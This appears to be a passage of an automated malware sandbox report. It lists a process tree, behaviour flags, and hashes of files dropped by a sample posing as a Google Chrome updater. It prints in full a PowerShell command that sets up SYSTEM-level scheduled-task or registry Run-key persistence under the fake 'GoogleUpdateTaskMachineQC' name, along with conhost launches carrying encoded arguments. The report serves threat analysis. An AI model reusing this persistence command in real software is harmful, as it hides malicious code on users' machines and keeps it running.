- Suspicious behavior: EnumeratesProcesses
PID:2000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4472
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4972
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1924
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3776
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3852 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4588
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:2368
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 1.2MB
- SHA256 e2e91eb4e7ab0bbcedde87c8ecaaaa0680ee11b4ce31f3201ebec10f24bf2896
- MD5 ae916474f629a2550079c7382b51877d
- SHA1 81ff30feb1fa5fca34b952b1191d04cb040b1d2d
- SHA512 99b3a397e5d244cf12ee995981ada84694eb4b3e1e2eac8132bf72ac2e72adac1ff98647c865bf04758666fcbae65be1f218342c0cfd518b7825657bdaa2fb8c
- SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkA:rWVipAxqo5p88CbXuxWQiSJU320ZW21S
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 461KB
- SHA256 8c213308e1b56a28e9ff23c4a0bb0fc2c8cfa749800bb73ea086e2de5813d6df
- MD5 1418de7327001eeb4a0bb3ca849883c5
- SHA1 d4a1dda51c5fb2d1929f2ed816ed4b4a02b04d7f
- SHA512 0e5f50aca624b9e904b1d100f3464d910921cb96982ab469b3daf892d48181be9efb9fa3b4573b75728d0616da46c2b0b46fc4b820c0fe0f24d2979a3122db5c
- SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdY:rWVipGdVZjdqVC5jd88FCY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
- MD5 6d42b6da621e8df5674e26b799c8e2aa
- SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
- SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 67946f37b2a5c6588b7b133996d7c00646e9ef8d01ffe2d34c7cd5627613aa5a
- MD5 e8e3af4111b4dbc5678a7a1374968c03
- SHA1 80bc9516932accbef00602356fbca65a9bb2879c
- SHA512 853b8c30b544a7ceb84cae119883af3cf75880a3d21ec0fb5ff16464a202ea167b96fad6a62137906ad31b5b9ad4445cb083d45ea6d0f2f2127222ca389b2ebf
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qx2js52v.oww.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512